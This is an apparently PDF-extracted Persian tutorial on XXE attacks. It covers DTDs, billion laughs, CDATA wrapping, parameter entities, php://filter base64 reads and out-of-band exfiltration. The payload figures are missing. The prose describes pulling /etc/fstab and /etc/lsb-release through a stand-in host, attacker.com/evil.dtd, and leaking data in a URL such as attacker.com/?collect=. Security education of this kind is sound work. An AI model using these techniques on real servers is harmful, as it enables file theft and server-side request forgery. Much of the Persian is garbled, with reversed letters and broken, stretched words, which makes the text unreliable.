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 XXEچگونگی حملات 

 مقدمه 1

 هیرا تجز XML یاست که ورود یبرنامه کاربرد کینوع حمله به  از XML یحمله خارج یک XXEحمله 

توسط ، یخارجوجودیت م کیع به ارجا یحاو XML یورود کیکه  دهدیمرخ  یحمله زمان نی. اکندیم

حمله ممکن است منجر به  نیپردازش شود. ا ،است شدهن یکربندیپ ه خوبیکه ب XML کنندههیتجز کی

که در آن  یدستگاه جنبهاسکن پورت از  و سرور یجعل تقاضا س،یسرو منعاطلاعات محرمانه،  یفشاا

 شود. ،است شده واقع کنندههیتجز

در  یتیاشکالات امن افتنی یبراو نمود را ارائه  "Bug Bounty"برنامه  کی بوکسیف، 2011از سال 

 یدلار 33500 پاداش ،هاجایزه نیتربزرگاز  یکی فت.گر در نظر برای افراد را ینقدجایزه  ،خود یهاسامانه

 .کشف کرد بوکسیفرا در سرور  XML (XXE) یخارج یریپذبیآس کیکه  بود 1یلیمحقق برز کیبه 

   

                                           

 

 

1 Reginaldo Silva 
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 XML (XXE) 2خارجیموجودیت حمله  2

که در آن  دارد (SSRF) 3از حمله درخواست جعل سرور یبه نوع خاصاشاره  XMLخارجی  وجودیتحمله م

( و DoS) سیقادر به منع استفاده از سرو ,XML یهاکنندههیتجز یهایژگیواستفاده از ءبا سو مهاجم

 .شودیم از راه دور ایو  یمحل صورتبه و خدمات هالیفابه  یدسترس

XML خدمات وب در همه است که  یادادهفرمت  کی(XML-RPC ،SOAP ،REST و غیره ) یهالیفاو 

وجود دارد،  XMLکه  ییجاهر  در ،یعیطب طوربه. ردیگیمقرار  مورداستفاده (SVG ،EXIF data) یریتصو

 .وجود دارد نیز XML کنندههیتجز کی

 یخروجبه را  جهیو نت کندیم هیآن را تجز رفته،یرا پذ XML یبرنامه وب ساده است که ورود کی ریمثال ز

 .دهدیم

 

XML اعلام عناصر، صفات و متن انجام دهد. اسناد  کارهای بیشتری نسبت به تواندیم حالنیبااXML 

 کیمشخص کند تا ، کنندیم فیکه نوع سند را تعر یگذارنشانه یهااعلاناز  یامجموعه تواندیم

                                           

 

 

2 XML External Entity (XXE) 
3 Server Side Request Forgery : https://www.acunetix.com/blog/articles/server-side-request-
forgery-vulnerability/ 
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 نیانجام ا یبرا بعدی ه. دو رااطمینان حاصل نماید XMLسند  صحتاز  ،قبل از پردازش XML کنندههیتجز

 .5دادهنوع  تعریف ای 4XML پتیاسکر فیتعر قیاز طر ای: کار وجود دارد

 یهایریپذبیآس آنجا زیرا م،یآن تمرکز کنروی بر  دیاست که ما با یزیچ (،DTDs)نوع داده  فیتعار

 .است شدهگرفته( XML)اجداد  SGMLاز  درواقع XML. دهدیمرخ  XML یخارج

است که در حال  barعنصر به نام  کیبا  foo( به نام DTDنوع داده ) فیمثال از نوع تعر کی ریزدر شکل 

آن را با  XML کنندههیتجزاست،  شدهاستفاده &bar کجاهر  ن،یبنابرا؛ است "World"حاضر نام کلمه 

 .کندیم نیگزیجا World کلمه

 

 استفاده موردمهاجم  کیتوسط  تواندیم XML هاموجودیتاست،  ضرریبابتدا به نظر  کار نیا کهیدرحال

حمله  نیدر داخل نهادها شود. ا هاموجودیت یتوسط جاساز سیسرو منعتا منجر به حمله  ردیقرار گ

خودکار  طوربه XML یهاکنندههیتجزاز  ی. بعضاست معروف attacka billion laughs "6" عنوانبه معمولاً

 .کنندیمد را محدود راستفاده ک توانیمکه  یاحافظهمقدار 

                                           

 

 

4 XML Schema Definition (XSD): https://searchmicroservices.techtarget.com/definition/XSD-XML-
Schema-Definition 
5 Data Type Definition (DTD) : https://searchmicroservices.techtarget.com/definition/data-type 
6 https://en.wikipedia.org/wiki/Billion_laughs_attack 
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 رایز .کرداستفاده  Denial of Serviceاز  ی غیرشتریب کارهای یبرا توانیم XML هاموجودیتاز اما 

 ییهرجااز  توانندیم XML هاموجودیت قت،ی. در حقشوندینم فیتعر XMLدر سند  لزوماً  XML هاموجودیت

 بدین ترتیب. شودیمنامیده  XML External entity (XXE) که یخارج موجودیت جمله از، گرفته شوند

 .شودیم لیتبد (SSRF)سرور جعل  حمله درخواست ینوع به XXE حمله

 

 طوربه) یخارج موجودیتپردازش  یبرا XML کنندههیتجزرا انجام دهد و اگر  ریدرخواست ز تواندیممهاجم 

 شدهیکربندیپ( اندشده پیکربندیکار  نیانجام ا یبرا XML معروف یهاکنندههیتجزاز  یاری، بسفرضشیپ

 .گرداندیبازم را ستمیدر س موجود لیفا کی اتی، محتوباشد
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 ،آگاه باشدمکان و ساختار برنامه وب  مهاجم از، اگر شودینممحدود  ستمیس یهالیفاالبته، مهاجم به 

، XML یهاکنندههیتجزاز  یلازم به ذکر است که با برخ نی. همچندکد منبع را سرقت کن یراحتبه تواندیم

 کرد. افتیدر زیرا ن یرکتوریدا یهاستیلفهرست  توانیم یحت لیاف کی اتیعلاوه بر محتو

خارجی  وجودیتم از توانیم، یموجود در شبکه محل یهالیفاه خاص ب HTTP یهادرخواستبا استفاده از 

XML است( یدسترس قابل روالیتنها در پشت فا مثالعنوانبهکرد )استفاده  شتریب. 
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 XML (XXE)خارجی  وجودیتم یهاتیمحدود 3

که از طریق آن بتوانند  هستبسیار مناسب برای مهاجمان  یریپذبیآسیک  XMLخارجی وجودیت م

. یکی از این موارد شودیمسخت  هالیفاامکان دستیابی به برخی اما در مواردی  ،حملات خود انجام دهند

 ده است.در زیر آم

 

 /etc/fstab است که مانند  ییاز کاراکترها یبرخ یاست که حاو لیفا کیXML اگر  ی)حت استXML 

نکته توجه  نیکند، تنها به ا هیو تجزبررسی عناصر را  نیا XML کنندههیتجزتا  شودیمباعث  نی(. انباشد

 :هامحدودیت .ستین XMLسند معتبر  کی نیاکه  دیداشته باش

استفاده  ،معتبر هستند XML یکه حاو ییهاپاسخ ای لیآوردن فا به دست یبرا توانیمتنها  XXEاز  •

 .نمود

 استفاده کرد. XXEاز  توانینمباینری  یهالیفاآوردن  به دستبرای  •
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 (CDATA) 7داده کاراکتری 1-3

 مثال عنوانبه) ستندیمعتبر ن XML یهالیفاکه  ،ساده یمتن یهالیفا در برخورد با تواندیممهاجم  کی

استفاده از چند ترفند هوشمندانه با  ,(باشندیم < >، &مانند  XMLخاص  یهاصهیخص یکه حاو ییهالیفا

 .کار کندفوق نیز  یهاتیمحدوددر 

 XML یهالیفادر  XMLخاص کاراکترهای  رهیبه ذخ ازینزمانی که  یبرا ،یقانون حل راهکیدر حال حاضر 

 دهیناد XML کنندههیتجزتوسط  (CDATA) یکاراکتر داده در XML خاص یپارامترهادارد.  وجود ،باشد

 .شوندیمگرفته 

 

 درخواستی شبیه به درخواست زیر ارسال نماید. تواندیممهاجم موضوع بنابراین با توجه به این 

 

                                           

 

 

7 https://stackoverflow.com/questions/2784183/what-does-cdata-in-xml-mean 
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داخلی  موجودیتخارجی در ترکیب با وجودیت قابلیت اجرا ندارد زیرا فراخوانی یک مموضوع این  حالنیا با

 .ستینمجاز  ،XML با توجه به شرایط

 (Parameter entities) پارامتر هایموجودیت 2-3

وجود دارد.  زیپارامتر ن هایموجودیت ،میکرددنبال  حالتابهکه   8یعموم هایموجودیتعلاوه بر 

نوع  فیفقط در تعار با این تفاوت کههستند،  9باقاعده هایموجودیتپارامتر درست مانند  هایموجودیت

 .رندیگیمقرار  استفاده مورد (DTDsداده )

که با  عمومی هاموجودیتاست با این تفاوت نسبت به  شدهدادهنشان  پارامتروجودیت زیر یک م در شکل

معرفی  XML کنندههیتجزپارامتر به وجودیت یک م عنوانبهتا  شودیمپیشوند شروع  عنوانبهعلامت % 

است که  قرارگرفته استفاده موردعمومی وجودیت پارامتر برای تعریف موجودیت شود. در مثال زیر یک م

 فراخوانی شده است. XMLتوسط سند 

 

 قراردادهمخرب  DTD کی جادیو با ا بگیرد نظر دربالا را  CDATAمثال  تواندیمبا ذکر مثال فوق، مهاجم 

 کند. لیتبد یحمله کار کی، آن را به attacker.com/evil.dtdدر  شده

                                           

 

 

8 General entities 
9 Regular entities 
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وجودیت متا  کندیمابتدا تلاش  XML کنندههیتجز، کندیممهاجم درخواست فوق را ارسال  کهیهنگام

 پردازش کند. http://attacker.com/evil.dtdدرخواست به  کی جادیرا با ا ٪ dtd پارامتر

که در  کندیم یبارگذاررا ( evil.dtd)از  ٪ file پارامتر منبع XML کنندههیتجزمهاجم،  DTDاز دانلود  پس

با استفاده از  <![[]CDATA] > یهابرچسبرا در  لیفا اتی. سپس محتوهست etc/fstab/ مورد  نیا

به  یگرید پارامتروجودیت م کیرا در  هاآنو  کندیم یبندبسته ٪ end و ٪ start پارامتر یهاموجودیت

 .کندیم رهیذخ ٪ all نام

که  کندیم جادیرا ا & fileContents به نام یعموموجودیت م کی ٪ all است که نیا دهندهبیفر نکته

 یهاموجودیتاز  تواندیمکه مهاجم  دیدر نظر داشته باش .برگردداز پاسخ به مهاجم  یبخش عنوانبه تواندیم

 .XMLاستفاده کند و نه در داخل سند  DTDدرون تنها پارامتر 

 است. CDATA یهاتگ( در etc/fstab)/  فایل اتیپاسخ به مهاجم با محتو کیکار  جهینت

 PHPپروتکل  بندیبسته 3-3

، مهاجم باشد PHPبرنامه  کی ،XML External entity (XXE)به  ریپذبیآسکه برنامه وب  یدر موارد

 PHPپروتکل  یهانی. پلاگانجام دهد برخی کارهای جدید PHPپروتکل  یبندبستهبه لطف  تواندیم

 .دهدیمرا  PHPخود  یو خروج یورود رشتهبه  یهستند که اجازه دسترس ورودی و خروجی یهارشته
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استفاده کند.  لیفا کی اتیمحتو 1064Baseرمزگذاریجهت  php://filterاز پروتکل  تواندیماجم مه

 یرا بر رو هالیفا یراحتبه تواندیم، مهاجم شودیم معتبر شناخته XML عنوانبه شهیهم Base64 ازآنجاکه

 نیروش همچن نیا ن،یبر ا هکند. علاو ییرمزگشا ،افتیدرپایان را در  هاآنکند و سپس  یسرور رمزگذار

 .را مورد سرقت قرار دهد ینریبا یهالیفامهاجم  دهدیماست که اجازه  یشتریب تیمز یدارا

 

 11دسترسرقابلیغ XML یخارجوجودیت م 4

بدین معنی که  ،شد دسترسقابل XMLخارجی وجویت در موضوعات قبلی اشاره به حملات م

را از برنامه  هست هاداده یکه شامل برخ ارسال کند و پاسخی XXEیک درخواست با افزونه  تواندیممهاجم 

 .ستین نظرمورد  ،ردامواغلب در این فرضیه  حالنیبااوب دریافت کند. 

اما هرگز جوابی  ،را به برنامه وب ارسال کند XXEخارجی  افزونه منبع تواندیممهاجم  ،در اغلب مواقع

 نیاز چن یبرداربهره ندیآر. فشودیم شناخته دسترسرقابلیغ یریپذبیآس عنوانبهاین  ،شودینمدریافت 

به  ازیمهاجم نکه  تفاوت کیبا  هست پارامتر یهاموجودیتبا استفاده از  ،مشابه نمونه بالا یریپذبیآس

                                           

 

 

10 https://stackoverflow.com/questions/201479/what-is-base-64-encoding-used-for 

11 Out-of-band XML External Entity (OOB-XXE) 
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خواندن  یبرا شدهکنترلسرور  کیبه  یدرخواست اضاف کی جادیا یبرا XML کنندههیتجز دسترسی به

 دارد. لیفا اتیمحتو

از  Out-of-Band (OOB) که چگونه یک مهاجم با استفاده از تکنیک شودیمداده  نشان ریز مثال در

 .دهدمیسرقت اطلاعات انجام  ،پارامتر یهاموجودیت

 

 لیفا یبارگذار که کندیمرا پردازش  ٪ file پارامتروجودیت م مرحله نیاول در XML کنندههیتجز

 بهمهاجم را  DTD یتقاضا XML کنندههیتجز. بعد، شودیمشامل را  etc/lsb-release / درخواستی

http://attacker.com/evil.dtd کندیم ارسال. 

عماومی باه ناام وجودیات یاک م all%پاارامتر وجودیات م ،شاودیممهااجم پاردازش  DTDهنگامی ک 

send&  کااااه شااااامل  کناااادیمایجااااادURL  مثالعنوانبااااهاساااات )محتویااااات فایاااال: 

http://attacker.com/?collect=DISTRIB_ID=Ubuntu…).  درنهایااات زماااانی کاااهURL  سااااخته
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و درخواساات بااه ساارور مهاااجم  شااودیمپااردازش  کنناادههیتجزتوسااط  &sendوجودیاات م ،شااد

 شاادهکبتدر پایااان درخواساات را کباات کنااد و از روی درخواساات  تواناادیم. مهاااجم شااودیمارسااال 

 محتوی فایل را بازسازی نماید.

 یریگجهینت 5

یک  اما ،نیست عیشا گر،ید یهایریپذبیآس مانند چنانآن کهیدرحال، XML (XXE) یخارجوجودیت م

 ،هاروشدیگر یا  شدهگفته یهاروشبهبا توجه را  یوب برنامههر  باًیتقراست که  یجد اریبس یریپذبیآس

 .دهدیمقرار  ریتأکتحت 

 یمحل یو کد منبع در سرورها ستمیس یهالیفاسرقت جهت  تواندیم XML (XXE) یخارجوجودیت م

 یدر شبکه داخل گرید یرا به سرورها (SSRF)حملات درخواست جعل سرور  نیاستفاده شود و همچن

خارجی  یهاموجودیتو  شودیماستفاده ، هاکنندههیتجززمانی که از برخی  XXE نیکند. علاوه بر ا یاندازراه

باعث  تواندیم (,باشندینم استفاده مورد یابرنامه)هرچند توسط هیچ  هستند فعال فرضشیپ صورتبه

 شود. (DoS) سیمنع استفاده از سروحمله 

 


